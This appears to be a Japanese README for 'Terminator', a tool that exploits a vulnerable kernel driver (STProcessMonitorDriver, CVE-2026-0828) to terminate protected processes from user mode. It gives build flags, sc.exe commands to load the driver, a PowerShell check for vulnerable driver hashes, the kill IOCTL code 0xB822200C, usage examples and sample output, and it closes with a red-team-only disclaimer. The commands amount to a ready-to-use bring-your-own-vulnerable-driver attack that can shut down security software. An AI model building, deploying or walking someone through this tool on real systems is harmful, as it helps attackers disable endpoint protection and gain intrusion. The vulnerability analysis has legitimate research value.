
脆弱なドライバ(CVE-2026-0828)を利用して、ユーザーモードから保護されたプロセスを強制終了するカーネルモードのプロセス終了ツール。
Windows で MinGW-w64(GCC)が必要です。以下のコマンドでコンパイルします:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
フラグの説明:
| Flag | Purpose |
|---|---|
--% | PowerShell の解析停止トークン(引数を g++ にそのまま渡す) |
-Oz | サイズ最小化を最適化 |
-ffunction-sections / -fdata-sections | 各関数・データを個別のセクションに配置 |
-static / -static-libgcc / -static-libstdc++ | 静的リンク(ランタイム DLL 依存なし) |
-Wl,--gc-sections | リンカが未使用セクションをガベージコレクト |
-W | 警告を有効化 |
出力:スタンドアロンの terminator.exe(ストリップ後、約20〜30 KB)。
このプロジェクトは、未検証の IOCTL_KILL_PROCESS ハンドラを公開している脆弱なカーネルドライバ(STProcessMonitorDriver)の悪用を実演します。これにより、権限や保護メカニズム(PPL、EPROCESS フラグなど)に関係なく、任意のプロセスを終了できます。
| Component | Purpose |
|---|---|
terminator.cpp | プロセスを列挙し、kill IOCTL を送信するユーザーモードクライアント |
terminator.hpp | プロセス列挙と終了のためのクラスインターフェース |
ProcessMonitorDriver.sys | 脆弱なカーネルドライバ(外部提供、同梱なし) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) でスナップショットを作成Process32First/Process32Next で全プロセスを反復処理Terminator::ProcessKill()
\\.\STProcessMonitorDriver へのハンドルを開くIOCTL_KILL_PROCESS (0xB822200C) を送信脆弱なドライバをロードします(管理者権限が必要):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
脆弱なバージョンの ProcessMonitorDriver.sys がすでにサービスとしてインストールされ実行中の場合(例:正規のアプリケーション由来)、Terminator は新しいドライバをロードせずに直接接続できます。
サービスの存在と実行状態を確認します:
sc.exe query STProcessMonitor
ドライバのバージョンが脆弱かどうかを確認します(PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
サービスが存在し、脆弱なバージョンで RUNNING(実行中)である場合、ドライバのロード手順をスキップして、Terminator を直接実行してください。
| Version | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
他のバージョンも影響を受ける可能性があります。使用前にドライバの IOCTL ハンドラを確認してください。
terminator.exe -proc <process_name1> [process_name2] ...
例:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
脆弱性: ドライバ STProcessMonitorDriver は、以下の IOCTL ハンドラ(0xB822200C)を登録しています:
PsLookupProcessByProcessId → ZwTerminateProcess を直接呼び出すSYSTEM トークン)で実行され、すべてのユーザーモード ACL をバイパスする影響: ドライバにアクセスできる非管理者ユーザーでも以下を終了できます:
SeDebugPrivilege が必要なプロセス根本原因: ObReferenceObjectByHandle の検証不足、SeSinglePrivilegeCheck(SeDebugPrivilege) の欠如、およびプロセスオブジェクトのアクセスチェックの欠如。
このツールは、許可を得たセキュリティ研究およびレッドチーム演習専用です。
所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。作者は誤用について一切の責任を負いません。あらゆる環境に展開する前に、書面による許可を取得してください。
脆弱なドライバ(
ProcessMonitorDriver.sys)はデモンストレーション目的で意図的に欠陥を含んでおり、本番環境には決して展開しないでください。